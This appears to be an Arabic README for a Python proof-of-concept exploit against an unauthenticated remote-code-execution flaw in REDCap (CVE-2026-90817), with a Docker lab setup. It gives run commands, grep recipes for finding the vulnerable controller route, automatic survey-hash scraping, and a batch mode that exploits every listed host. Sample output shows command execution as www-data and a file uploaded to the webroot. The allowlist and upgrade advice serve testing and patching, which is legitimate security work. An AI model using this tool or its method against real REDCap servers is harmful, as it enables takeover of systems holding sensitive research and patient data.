
أداة PoC بلغة Python للثغرة CVE-2026-90817، وهي تنفيذ تعليمات عن بُعد (RCE) غير مُصادَق عليه في REDCap عبر توجيه تمرير الاستبيان وحقن مسار الملف، مع مختبر Docker وأهداف محمية بقائمة سماح.
| الحقل | القيمة |
|---|
| CVE | CVE-2026-90817 |
| المنتج | Vanderbilt University REDCap |
| CVSS | 9.8 حرج |
| المصادقة | بدون مصادقة (يتطلب hash استبيان عام صالح) |
| المتأثر | REDCap 13.3.0 وما فوق |
| المُصلح | 16.0.49 LTS، 17.3.10 LTS، 17.4.4 Standard Release |
| CWE | CWE-73 (التحكم الخارجي في اسم الملف أو المسار)، CWE-94 (حقن الكود) |
سلسلة الهجوم:
CVE-2026-90817/
├── poc_cve_2026_90817.py # PoC (هدف واحد، محمي بقائمة سماح)
├── docker-compose.yml # حزمة مختبر MySQL + PHP-Apache
├── redcap-init/
│ ├── database.php # إعدادات قاعدة بيانات REDCap للمختبر
│ └── php.ini # إعدادات PHP للمختبر
├── redcap-src/ # <-- استخرج مصدر REDCap هنا (أنت توفره)
├── targets.txt # الأهداف المصرح بها: مضيف واحد لكل سطر
├── payload.txt # ملف نموذجي لوضع الرفع
├── requirements.txt # تبعيات Python
└── poc_results.txt # يُنشأ بعد تشغيل PoC
REDCap برنامج مرخص. يجب الحصول عليه عبر القنوات الرسمية لمختبرك الخاص.
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.
docker compose up -d
انتظر حتى ينجح فحص صحة MySQL، ثم افتح:
http://localhost:8080
أكمل معالج تثبيت REDCap باستخدام إعدادات قاعدة البيانات هذه (المُهيأة مسبقًا في redcap-init/database.php):
| الإعداد | القيمة |
|---|---|
| Host | db |
| Database | redcap |
| User | redcap |
| Password | redcap123 |
s=).مثال على رابط الاستبيان:
http://localhost:8080/surveys/?s=ABC123XYZ
Survey hash: ABC123XYZ
لا يكشف التنبيه العام عن مسار controller الدقيق أو اسم المعامل. بعد إعداد مختبرك، قم بإجراء هندسة عكسية على redcap-src/ واملأ ثوابت TODO في poc_cve_2026_90817.py:
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE" # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM" # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/" # webroot inside container
UPLOADER_NAME = "x.php" # PHP uploader filename
ابحث عن توجيه survey passthrough:
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50
ابحث عن معالجة مسار ملف/stream في Data Import:
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50
اضبط STAGE1_SUCCESS_MARKER على سلسلة موجودة في استجابة المرحلة الأولى الناجحة (اختياري لكن موصى به).
pip install -r requirements.txt
يرفض السكربت الأهداف التي ليست مضيفات مختبر (localhost، 127.0.0.1، ::1، *.local، *.test، *.localhost) ولا المدرجة في targets.txt.
CVE-2026-90817 بدون مصادقة — لا حاجة لتسجيل الدخول. الشرط المسبق الوحيد هو hash استبيان عام صالح (من رابط الاستبيان ?s=HASH).
يمكن للأداة الاكتشاف التلقائي لـ hash الاستبيان عبر كشط الصفحات العامة للهدف (بأفضل جهد). تتحقق من نقاط نهاية REDCap الشائعة (/، /redcap/، /index.php، /surveys/) بحثًا عن روابط /surveys/?s=HASH. يعمل هذا فقط إذا كان الهدف يكشف علنًا عن روابط الاستبيان (سوء تهيئة). بالنسبة لمثيلات REDCap المهيأة بشكل صحيح، زوّد الـ hash يدويًا عبر --hash.
--hash اختياري (اكتشاف تلقائي إذا حُذف)بالنسبة للأهداف غير المختبرية، أنشئ targets.txt بمضيف واحد لكل سطر (FQDN أو IP). أنت مسؤول عن التصريح القانوني لكل مضيف مدرج.
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100
هدف مختبر مع hash صريح:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--hash ABC123XYZ \
--mode both \
--out poc_results.txt
هدف مختبر مع hash مكتشف تلقائيًا:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--mode both \
--out poc_results.txt
أضف --batch لاستغلال كل مضيف مدرج في targets.txt تلقائيًا. تكتشف الأداة تلقائيًا hash الاستبيان لكل هدف عبر كشط الصفحات العامة. تطبع الأداة جميع الأهداف وتطلب التأكيد قبل البدء (استخدم --yes لتخطي المطالبة عند البرمجة النصية).
python poc_cve_2026_90817.py \
--batch \
--mode both \
--out poc_results.txt
يُورث المنفذ من --target (افتراضي 8080). لاستخدام منفذ مختلف، اضبط --target http://placeholder:443/ قبل --batch.
تُضاف نتيجة كل هدف إلى ملف الإخراج. تُطبع ملخص في النهاية: N success, M failed, T total.
| المعامل | الافتراضي | الوصف |
|---|---|---|
--target | http://localhost:8080 | عنوان URL الأساسي للهدف |
--hash | (اختياري) | hash الاستبيان العام. إذا حُذف، يُكتشف تلقائيًا عبر كشط الصفحات العامة (بأفضل جهد). |
--allowlist | targets.txt | ملف الأهداف، مضيف واحد لكل سطر |
--batch | معطّل | التكرار عبر جميع المضيفات في ملف الأهداف واستغلال كل منها |
--yes | معطّل | تخطي مطالبة تأكيد الدفعة |
--mode | both | id أو upload أو both |
--out | poc_results.txt | ملف سجل النتائج |
--timeout | 30 | مهلة HTTP (بالثواني) |
--upload-local | payload.txt | الملف المحلي المراد رفعه |
--upload-remote | uploaded_payload.txt | اسم الملف البعيد تحت webroot |
--skip-placeholder-check | معطّل | تشغيل تدفق HTTP تجريبي بدون ثوابت TODO المملوءة |
ملاحظة: يعمل الاكتشاف التلقائي فقط على الأهداف التي تكشف علنًا عن روابط الاستبيان. بالنسبة لمعظم مثيلات REDCap، زوّد --hash يدويًا.
عند النجاح، يعرض stdout:
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt
تُضاف النتائج إلى poc_results.txt:
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------
قم بالترقية إلى REDCap 16.0.49 LTS، أو 17.3.10 LTS، أو 17.4.4 Standard Release (حسب الاقتضاء).
تحصين إضافي: